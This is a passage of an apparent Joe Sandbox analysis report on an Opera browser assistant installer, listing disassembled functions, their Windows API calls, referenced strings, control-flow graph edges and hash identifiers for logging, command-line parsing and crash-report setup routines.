                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 4237864984-0
                                                                                                                                                                                                                • Opcode ID: 2d1a960123c6ba90c89b2e8c704ee8923d7bdc01d6095cc42f840038560efc82
                                                                                                                                                                                                                • Instruction ID: aec3ababb4f3f33695281538a4c090ab0eedf47adfcb9f507514c2b08472e4e8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2d1a960123c6ba90c89b2e8c704ee8923d7bdc01d6095cc42f840038560efc82
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8BA10232A141599FCF199F6CCC927AD3BA1FB86324F18015DE851FB291DB348912CBD2
                                                                                                                                                                                                                Function 00734020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 186libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 2317 734020-734051 call 746f20 2320 734057-73407d LoadLibraryExW 2317->2320 2321 73421b-73422c call 8294aa 2317->2321 2323 73409a-73409f CommandLineToArgvW 2320->2323 2324 73407f-73408d GetProcAddress 2320->2324 2328 7340a5-7340a7 2323->2328 2326 7340a9 2324->2326 2327 73408f-734098 2324->2327 2329 7340ab-7340c5 2326->2329 2327->2328 2328->2329 2330 7341b1-7341d2 call 733c40 LocalFree 2329->2330 2331 7340cb-7340d6 2329->2331 2340 7341d4-7341d5 FreeLibrary 2330->2340 2341 7341db-7341e0 2330->2341 2333 73423b-734243 call 73297c 2331->2333 2334 7340dc-734100 call 8293de 2331->2334 2343 734145-734170 call 844504 2334->2343 2340->2341 2341->2321 2344 7341e2-7341e7 2341->2344 2355 734176-73417b 2343->2355 2356 73422f-734231 call 730494 2343->2356 2345 7341f6-7341fd 2344->2345 2346 7341e9-7341eb 2344->2346 2349 7341f0-7341f4 2345->2349 2350 7341ff-73420a call 82945e 2345->2350 2348 73420f-734218 call 82945e 2346->2348 2348->2321 2349->2345 2353 73420c 2349->2353 2350->2349 2353->2348 2360 734110-734117 2355->2360 2361 73417d-734183 2355->2361 2362 734236 call 83d9b4 2356->2362 2364 734131-734143 2360->2364 2365 734119-73412e call 82cf70 2360->2365 2361->2362 2363 734189-7341a3 call 8293de 2361->2363 2362->2333 2363->2365 2364->2343 2369 7341a8-7341ae 2364->2369 2365->2364 2369->2330
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • LoadLibraryExW.KERNEL32(api-ms-win-downlevel-shell32-l1-1-0.dll,00000000,00000800,?,?,?,?,?,?,?,?,00000000,0056F850), ref: 00734072
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CommandLineToArgvW), ref: 00734085
                                                                                                                                                                                                                • CommandLineToArgvW.SHELL32(?,00000000,?,?,?,?,?,?,?,?,00000000,0056F850), ref: 0073409F
                                                                                                                                                                                                                • LocalFree.KERNEL32(00000000,?), ref: 007341C7
                                                                                                                                                                                                                • FreeLibrary.KERNELBASE(?), ref: 007341D5
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CommandLineToArgvW, xrefs: 0073407F
                                                                                                                                                                                                                • api-ms-win-downlevel-shell32-l1-1-0.dll, xrefs: 0073406D
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FreeLibrary$AddressArgvCommandLineLoadLocalProc
                                                                                                                                                                                                                • String ID: CommandLineToArgvW$api-ms-win-downlevel-shell32-l1-1-0.dll
                                                                                                                                                                                                                • API String ID: 787947344-3353834106
                                                                                                                                                                                                                • Opcode ID: 402f2eeb8d2992ffec8117aa67a7c16a6fc3cdda11d9728ad28b5540d2e1fccf
                                                                                                                                                                                                                • Instruction ID: b9f5344a795a851f3cd3b2de4e7203d8d53bb8765a8f8f10752546bd26f054c1
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 402f2eeb8d2992ffec8117aa67a7c16a6fc3cdda11d9728ad28b5540d2e1fccf
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 00518FB1E002199FEB14DFA8DC45BAEBBB9BF58310F144129E801F7342D779A945CBA1
                                                                                                                                                                                                                Function 006F1000 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00733F70: GetCommandLineW.KERNEL32(?,00000000), ref: 00733FE7
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 006F1055
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CommandLine_strlen
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/assistant/installer/assistant_installer_main.cc$Running assistant installer with command line $WinMain$assistant_installer_%02d%02d%02d%02d%02d%02d.log$asstgx_ins
                                                                                                                                                                                                                • API String ID: 1507289288-2816526336
                                                                                                                                                                                                                • Opcode ID: a0bb4219bd1e9a4779d08b3e876d446014c499db54cc4e79bfd759e3008af510
                                                                                                                                                                                                                • Instruction ID: 96453e9a7632aa216ed24a0b563af20b16f2c3fb0262af3e6314af873c5df700
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a0bb4219bd1e9a4779d08b3e876d446014c499db54cc4e79bfd759e3008af510
                                                                                                                                                                                                                • Instruction Fuzzy Hash: C091E3B1900704DBD720AF34DC86A77B7E5BF95300F04492DFA9A8B242EB75B549C791
                                                                                                                                                                                                                Function 0073BBA0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 176fileCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 2475 73bba0-73bbbf 2476 73bdf6-73be0c call 8294aa 2475->2476 2477 73bbc5-73bbcd 2475->2477 2479 73bbe1-73bc36 call 8293de call 82da70 GetModuleFileNameW call 844504 2477->2479 2480 73bbcf-73bbd6 2477->2480 2498 73be0d-73be0f call 730494 2479->2498 2499 73bc3c-73bc41 2479->2499 2483 73bcdb-73bcdf 2480->2483 2484 73bbdc 2480->2484 2486 73bce3-73bd16 CreateFileW 2483->2486 2487 73bce1 2483->2487 2484->2476 2486->2476 2489 73bd1c-73bd52 call 82da70 GetCurrentDirectoryW 2486->2489 2487->2486 2494 73bdf4 2489->2494 2495 73bd58-73bd5d 2489->2495 2494->2476 2495->2494 2497 73bd63-73bd7b call 731bbc 2495->2497 2509 73bd81-73bd83 2497->2509 2510 73bd7d-73bd7f 2497->2510 2505 73be14-73be19 call 83d9b4 2498->2505 2502 73bc43-73bc4a 2499->2502 2503 73bc4e-73bc54 2499->2503 2506 73bc7a-73bc8a call 82cf70 2502->2506 2507 73bc4c 2502->2507 2503->2505 2508 73bc5a-73bc74 call 8293de 2503->2508 2512 73bc8d-73bc99 2506->2512 2507->2512 2508->2506 2517 73bd86-73bd8c 2509->2517 2510->2517 2515 73bc9b 2512->2515 2516 73bc9e-73bcad call 7320c2 2512->2516 2515->2516 2527 73bcaf-73bcb7 call 731dd6 2516->2527 2528 73bcbc-73bcd5 call 731a38 2516->2528 2522 73bd9e-73bdb1 call 731a38 2517->2522 2523 73bd8e-73bd98 call 731a38 2517->2523 2533 73bdb3 2522->2533 2534 73bdb5-73bde8 CreateFileW 2522->2534 2523->2522 2527->2528 2528->2476 2528->2483 2533->2534 2534->2476 2536 73bdea 2534->2536 2536->2494
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0073BC0E
                                                                                                                                                                                                                • CreateFileW.KERNELBASE ref: 0073BD05
                                                                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00000104,00000000,?,?,?,?,?,?,?,debug.log,0000005C,?), ref: 0073BD4A
                                                                                                                                                                                                                • CreateFileW.KERNEL32 ref: 0073BDD7
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: File$Create$CurrentDirectoryModuleName
                                                                                                                                                                                                                • String ID: debug.log$W
                                                                                                                                                                                                                • API String ID: 4120427848-2712383630
                                                                                                                                                                                                                • Opcode ID: 5529752b16b7d11d79fc29312e4f4042675800ac9986c227627809c43aba4eec
                                                                                                                                                                                                                • Instruction ID: e2f307b77b55fdd70646dc0ecc7b3762b04dec744a2a0b29aa2abcb3ba94cbfc
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5529752b16b7d11d79fc29312e4f4042675800ac9986c227627809c43aba4eec
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 38513670A043109FF720AF68D889B6A7BA0FB52714F14451CE6459B6D3EF78A988C792
                                                                                                                                                                                                                Function 0073BA00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 125fileCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 2537 73ba00-73ba28 call 734250 call 734730 2542 73ba2a-73ba38 call 734730 2537->2542 2543 73ba3e-73ba45 2537->2543 2542->2543 2549 73bad0-73bade 2542->2549 2544 73bb9b-73bb9f 2543->2544 2545 73ba4b-73bac8 call 8293de call 8442d0 call 7347a0 call 8442d0 call 7347a0 call 776090 2543->2545 2580 73bb11-73bb20 call 82945e 2545->2580 2581 73baca-73bace 2545->2581 2551 73bb87-73bb9a call 8294aa 2549->2551 2552 73bae4-73baeb 2549->2552 2554 73bb2f-73bb37 2552->2554 2555 73baed-73bb06 CloseHandle 2552->2555 2559 73bb5e-73bb6a call 731bbc 2554->2559 2562 73bb39-73bb59 call 8293de 2554->2562 2558 73bb08-73bb0f 2555->2558 2555->2559 2558->2562 2569 73bb80 call 73bba0 2559->2569 2570 73bb6c-73bb75 2559->2570 2562->2559 2576 73bb85 2569->2576 2572 73bb77 2570->2572 2573 73bb79-73bb7a DeleteFileW 2570->2573 2572->2573 2573->2569 2576->2551 2580->2549 2582 73bb22-73bb2d call 82945e 2580->2582 2581->2549 2581->2582 2582->2549
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00734730: _strlen.LIBCMT ref: 00734751
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0073BA6D
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0073BA93
                                                                                                                                                                                                                • CloseHandle.KERNEL32(000002B4,00866AEF), ref: 0073BAEE
                                                                                                                                                                                                                • DeleteFileW.KERNEL32(0057ECE0,?,00866AEF), ref: 0073BB7A
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen$CloseDeleteFileHandle
                                                                                                                                                                                                                • String ID: vmodule$W
                                                                                                                                                                                                                • API String ID: 1068956878-4156186565
                                                                                                                                                                                                                • Opcode ID: 8758b9114beb51f6723720f92b55fb94b5f09e2baebc4480a098b4196f02fe5c
                                                                                                                                                                                                                • Instruction ID: aab21a692876b910ffd6bea050e7356e03e3904c7235adbf90cb1a8871ab0fe6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8758b9114beb51f6723720f92b55fb94b5f09e2baebc4480a098b4196f02fe5c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A641D3F0E002589FFF14DFA4EC59B6EBBA4FB41314F004029F54697692EBB99944C792
                                                                                                                                                                                                                Function 0076FF91 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 2587 76ff91-76ffb2 2588 76ffb7-76fff0 call 76f782 call 7ac50c 2587->2588 2589 76ffb4 2587->2589 2594 76fff2-76fffa 2588->2594 2595 77000d-770014 2588->2595 2589->2588 2596 770001-770009 2594->2596 2597 76fffc-76ffff 2594->2597 2598 770019 2595->2598 2596->2598 2599 77000b 2596->2599 2597->2596 2600 77001b-77004e call 82cf70 call 7ac768 GetCurrentProcessId call 743aa0 2598->2600 2599->2600 2607 770056-77007f call 82cf70 call 7ac768 2600->2607 2608 770050-770053 2600->2608 2613 770081-770089 call 82945e 2607->2613 2614 77008c-77009e call 771ee0 2607->2614 2608->2607 2613->2614 2619 7700a6-7700cf call 82cf70 call 7ac768 2614->2619 2620 7700a0-7700a3 2614->2620 2625 7700d1-7700d9 call 82945e 2619->2625 2626 7700dc-7700fa call 73beb0 call 78c3a0 2619->2626 2620->2619 2625->2626 2633 770166-77017f call 737d90 call 8294aa 2626->2633 2634 7700fc-770157 call 8293de call 713450 call 7b7b42 call 717f49 call 770242 call 7b880a 2626->2634 2652 77015c-770163 call 770353 2634->2652 2652->2633
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcessId.KERNEL32(00000007,?,?,?,?,?,?,?,?,?,?,?,?,?,007701BF,?), ref: 00770035
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CurrentProcess
                                                                                                                                                                                                                • String ID: 6200$asstgx_ins$browser$x86_64
                                                                                                                                                                                                                • API String ID: 2050909247-1717337767
                                                                                                                                                                                                                • Opcode ID: 07b8994574ff90ced6e8d846c6ffa26efbaf3b2d0f487498d33a49422d5ba602
                                                                                                                                                                                                                • Instruction ID: 6848026d523d997072b5b201dca2148c9994bd0ec90490f5ad1d5625c2276042
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 07b8994574ff90ced6e8d846c6ffa26efbaf3b2d0f487498d33a49422d5ba602
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 71512E72E00114DBEF156BA49845AFF7BB5EF86320F048034F859E7342D639A905CBE2
                                                                                                                                                                                                                Function 0073C2A0 Relevance: 7.8, APIs: 5, Instructions: 326COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 2655 73c2a0-73c391 call 719eb8 call 72bb88 call 71cc00 call 71ab60 call 719db0 call 6f5604 2671 73c6a2-73c6b9 2655->2671 2672 73c397-73c456 call 82ea2f call 8428cd call 82ea2f call 8419a3 2655->2672 2676 73c833-73c836 2671->2676 2677 73c6bf-73c789 call 8293de call 7792a0 call 711c60 call 759c70 call 75ecc0 2671->2677 2696 73c493-73c497 2672->2696 2677->2672 2703 73c7bd-73c7d1 call 8294e7 2677->2703 2698 73c4c9-73c4cd 2696->2698 2699 73c499-73c4a7 2696->2699 2704 73c62d-73c631 2698->2704 2701 73c4d2-73c4ed call 82da70 2699->2701 2702 73c4a9-73c4c2 call 778870 2699->2702 2718 73c4f5 2701->2718 2719 73c4ef-73c4f3 2701->2719 2702->2698 2716 73c532-73c53d 2703->2716 2717 73c7d7-73c7f0 call 82955d 2703->2717 2706 73c633-73c63c call 82945e 2704->2706 2707 73c63f-73c666 call 7766e0 2704->2707 2706->2707 2725 73c673-73c6a1 call 719a44 call 6fce50 call 719a3a call 8294aa 2707->2725 2726 73c668-73c670 call 82945e 2707->2726 2721 73c543-73c568 2716->2721 2722 73c82d-73c82e 2716->2722 2717->2716 2724 73c4f9-73c52c call 747ee0 call 6fce50 2718->2724 2719->2724 2727 73c7f5-73c809 call 8294e7 2721->2727 2728 73c56e-73c583 2721->2728 2729 73c830-73c831 2722->2729 2724->2703 2724->2716 2726->2725 2727->2728 2745 73c80f-73c828 call 82955d 2727->2745 2728->2729 2735 73c589-73c5a2 call 733980 2728->2735 2729->2676 2748 73c620-73c629 call 733960 2735->2748 2749 73c5a4-73c5b0 2735->2749 2745->2728 2748->2704 2754 73c5b2-73c5b6 2749->2754 2755 73c5b8 2749->2755 2758 73c5bc-73c5c8 2754->2758 2755->2758 2760 73c5d5 2758->2760 2761 73c5ca-73c5d3 call 8442d0 2758->2761 2763 73c5d7-73c61c 2760->2763 2761->2763 2763->2748
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: b79f7982b43bc22cc7421a91a99ab5fb0bfc4f34d5c40a002cae22aaf0223fcb
                                                                                                                                                                                                                • Instruction ID: f1cfaa81d30883e435ab4e32f7244480c71186ce97772fb3c7c87acd37cdfeb4
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b79f7982b43bc22cc7421a91a99ab5fb0bfc4f34d5c40a002cae22aaf0223fcb
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BCC1E2B1A043409FE711DF28D885A2AB7F0FF89314F008A1DF599A7392DB75EA45CB52
                                                                                                                                                                                                                Function 00759A00 Relevance: 7.7, APIs: 5, Instructions: 177timeCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SystemFunction036.ADVAPI32(FFFFFFFF,FFFFFFFF,?,00741BE8,?,00000008,000000FF), ref: 00759A0E
                                                                                                                                                                                                                • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00759A76
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00759A88
                                                                                                                                                                                                                • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00759B1E
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00759B2C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Time$System$FileUnothrow_t@std@@@__ehfuncinfo$??2@$Function036
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2980182385-0
                                                                                                                                                                                                                • Opcode ID: 1331b2cc3912d90c4ea02dc499e1f642acdcdb10f1ef871c46fa865005620e3c
                                                                                                                                                                                                                • Instruction ID: f5cb40580f13662d1184533b60092bc66c0ba83df20aea5c86897e343bcdd782
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1331b2cc3912d90c4ea02dc499e1f642acdcdb10f1ef871c46fa865005620e3c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9961C1756083019FD700CF68D88075ABBE5FBC9720F148A2CE9A8877A0D7749949CB92
                                                                                                                                                                                                                Function 007B5423 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 130COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNELBASE(00000004), ref: 007B5446
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/client/crash_report_database_win.cc$: not a directory$GetFileAttributes
                                                                                                                                                                                                                • API String ID: 3188754299-3496458271
                                                                                                                                                                                                                • Opcode ID: 24f2522b81442a7f29b1c58388e048f5cb92b8aff3d97e7c6fbd86854cb8dc63
                                                                                                                                                                                                                • Instruction ID: 61321a47f7d1b3368b7e186a338171cbb320e8a80a9d3ac47e1838fafcc4322b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 24f2522b81442a7f29b1c58388e048f5cb92b8aff3d97e7c6fbd86854cb8dc63
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 90411D71900228AAFF30BB14DC46FF6776AAF11354F0440A8F94DE7183E7396E488B61
                                                                                                                                                                                                                Function 007B5307 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateDirectoryW.KERNELBASE(?,00000000), ref: 007B532C
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007B533C
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CreateDirectory , xrefs: 007B539B
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/client/crash_report_database_win.cc, xrefs: 007B5389
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
